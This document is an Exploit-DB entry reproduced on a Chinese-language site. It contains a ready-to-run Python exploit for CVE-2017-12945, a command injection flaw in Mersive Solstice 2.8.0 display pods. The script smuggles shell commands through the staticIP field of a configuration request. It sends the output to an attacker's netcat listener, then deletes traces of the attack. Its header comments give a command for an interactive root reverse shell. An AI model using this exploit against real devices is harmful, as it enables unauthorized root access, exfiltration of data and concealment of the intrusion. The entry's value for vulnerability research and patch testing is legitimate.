Mersive Solstice 2.8.0 – Remote Code Execution

  • 作者: Alexandre Teyar
    日期: 2019-11-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47722/
  • # Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution
    # Google Dork: N/A
    # Date: 2016-12-23
    # Exploit Author: Alexandre Teyar
    # Vendor Homepage: https://www2.mersive.com/
    # Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk
    # Versions: 2.8.0
    # Tested On: Mersive Solstice 2.8.0
    # CVE: CVE-2017-12945
    # Description : This will exploit an (authenticated) blind OS command injection 
    # vulnerability present in Solstice devices running versions
    # of the firmware prior to 2.8.4.
    # Notes : To get the the command output (in piped-mode), a netcat listener 
    # (e.g. 'nc -lkvp <LPORT>') needs to be launched before 
    # running the exploit.
    # To get an interactive root shell use the following syntax
    # 'python.exe .\CVE-2017-12945.py -pass <PASSWORD>
    # -rh <RHOST> -p "busybox nc <LHOST> <LPORT>
    # -e /system/bin/sh -i"'.
    
    
    #!/usr/bin/env python3
    
    import argparse
    import logging
    import requests
    import sys
    import time
    
    
    def parse_args():
    """ Parse and validate the command line supplied by users
    """
    parser = argparse.ArgumentParser(
    description="Solstice Pod Blind Command Injection"
    )
    
    parser.add_argument(
    "-d",
    "--debug",
    dest="loglevel",
    help="enable verbose debug mode",
    required=False,
    action="store_const",
    const=logging.DEBUG,
    default=logging.INFO
    )
    parser.add_argument(
    "-lh",
    "--lhost",
    dest="lhost",
    help="the listening address",
    required=False,
    type=str
    )
    parser.add_argument(
    "-lp",
    "--lport",
    dest="lport",
    help="the listening port - default 4444",
    required=False,
    default="4444",
    type=str
    )
    parser.add_argument(
    "-p",
    "--payload",
    dest="payload",
    help="the command to execute",
    required=True,
    type=str
    )
    parser.add_argument(
    "-pass",
    "--password",
    dest="password",
    help="the target administrator password",
    required=False,
    default="",
    type=str
    )
    parser.add_argument(
    "-rh",
    "--rhost",
    dest="rhost",
    help="the target address",
    required=True,
    type=str
    )
    
    return parser.parse_args()
    
    
    def main():
    try:
    args = parse_args()
    
    lhost = args.lhost
    lport = args.lport
    password = args.password
    rhost = args.rhost
    
    logging.basicConfig(
    datefmt="%H:%M:%S",
    format="%(asctime)s: %(levelname)-8s %(message)s",
    handlers=[logging.StreamHandler()],
    level=args.loglevel
    )
    
    # Redirect stdout and stderr to <FILE>
    # only when the exploit is launched in piped mode
    if lhost and lport:
    payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1"
    logging.info(
    "attacker listening address: {}:{}".format(lhost, lport)
    )
    else:
    payload = args.payload
    
    logging.info("solstice pod address: {}".format(rhost))
    
    if password:
    logging.info(
    "solstice pod administrator password: {}".format(password)
    )
    
    # Send the payload to be executed
    logging.info("sending the payload...")
    send_payload(rhost, password, payload)
    
    # Send the results of the payload execution to the attacker
    # using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE>
    if lhost and lport:
    payload = (
    "busybox nc {} {} < /data/local/tmp/rce.tmp ".format(
    lhost, lport
    )
    )
    
    logging.info("retrieving the results...")
    send_payload(rhost, password, payload)
    
    # Erase exploitation traces
    payload = "rm -f /data/local/tmp/rce.tmp"
    
    logging.info("erasing exploitation traces...")
    send_payload(rhost, password, payload)
    
    except KeyboardInterrupt:
    logging.warning("'CTRL+C' pressed, exiting...")
    sys.exit(0)
    
    
    def send_payload(rhost, password, payload):
    URL = "http://{}/Config/service/saveData".format(rhost)
    
    headers = {
    "Content-Type": "application/json",
    "X-Requested-With": "XMLHttpRequest",
    "Referer": "http://{}/Config/config.html".format(rhost)
    }
    
    data = {
    "m_networkCuration":
    {
    "ethernet":
    {
    "dhcp": False,
    "staticIP": "; {}".format(payload),
    "gateway": "",
    "prefixLength": 24,
    "dns1": "",
    "dns2": ""
    }
    },
    "password": "{}".format(password)
    }
    
    # Debugging using the BurpSuite
    # proxies = {
    # 'http': 'http://127.0.0.1:8080',
    # 'https': 'https://127.0.0.1:8080'
    # }
    
    try:
    logging.info("{}".format(payload))
    
    response = requests.post(
    URL,
    headers=headers,
    # proxies=proxies,
    json=data
    )
    
    logging.debug(
    "{}".format(response.json())
    )
    
    # Wait for the command to be executed
    time.sleep(2)
    
    except requests.exceptions.RequestException as ex:
    logging.error("{}".format(ex))
    sys.exit(0)
    
    
    if __name__ == "__main__":
    main()